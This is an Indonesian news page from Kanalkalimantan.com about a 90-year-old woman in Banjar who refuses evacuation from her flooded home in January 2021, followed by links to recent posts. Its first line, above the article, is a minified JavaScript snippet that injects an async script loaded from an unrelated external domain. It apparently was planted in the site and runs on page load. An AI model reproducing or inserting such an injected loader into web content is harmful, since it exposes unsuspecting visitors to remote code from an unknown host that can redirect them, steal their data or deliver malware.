(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Nenek 90 Tahun Menolak Dievakuasi dari Lokasi Banjir di Kabupaten Banjar!


KANALKALIMANTAN.COM, MARTAPURA – Nenek Berlian (90), warga Desa Dalam Pagar Ulu, Kecamatan Martapura Timur, Kabupaten Banjar, tidak mau dievakuasi oleh tim gabungan dari lokasi banjir, Selasa (19/1/2021). Ia tetap memilih bertahan di dalam rumah.

Kepala UPT Damkar Banjar Gusti Yudhir mengatakan, tim gabungan UPT Damkar dan EBR tidak berhasil membujuk Berlian meninggalkan rumahnya.

“Ini yang kali kedua dibujuk evakuasi tetapi beliau tidak mau, setelah sebelumnya pernah dibujuk oleh petugas tim yang lain,” ucapnya.

 

 

Dia juga mengatakan, perjalanan menuju rumah Nenek Berlian lumayan cukup jauh. Mobil ambulans EBR dan Pick up Damkar hanya dapat sampai pada kompleks pengajian Habib Zen untuk menurunkan perahu.

“Selanjutnya tim berjalan Kaki sejauh kurang lebih 3 km dengan membawa perahu karet, ketinggian air di lalui bervariasi dengan kedalaman tertinggi mencapai atas pinggang orang dewasa,” tuturnya.

 

Di titik lokasi, lanjut Gusti Yudhie, yang bersangkutan tidak bersedia dievakuasi. Walaupun sudah dibujuk langsung keponakannya dari Banjarmasin. Juga oleh anaknya sendiri yang menemaninya di rumah.

 

“Akhirnya Tim balik kanan dan memberikan bekal makanan serta air minum,” bebernya.
Sebelumnya, sebuah rekaman video yang memilukan memperlihatkan tangisan seorang pria yang memaksa seorang nenek untuk dievakuasi, beredar di jejaring media sosial. Nenek tersebut menolak untuk dievakuasi dari rumahnya yang terkena banjir.

Seorang pria bersama petugas pun membujuk nenek tersebut agar mau dievakuasi. Akan tetapi, si nenek bersikukuh untuk tetap tinggal di rumahnya. Dalam video tersebut, terlihat seorang pria yang memakai peci berwarna putih menggenggam tangan nenek itu.

Dia pun menangis. Sementara, seorang petugas ikut membujuk nenek tersebut. Nenek tersebut bersikeras untuk tetap tinggal di rumahnya meski rumahnya tergenang banjir. Petugas meminta nenek tersebut untuk mengungsi. (Kanalkalimantan.com/wahyu)

Reporter: Wahyu
Editor: Cell


Al Ghifari

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

15 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

16 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

16 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

17 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

21 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

22 jam ago

This website uses cookies.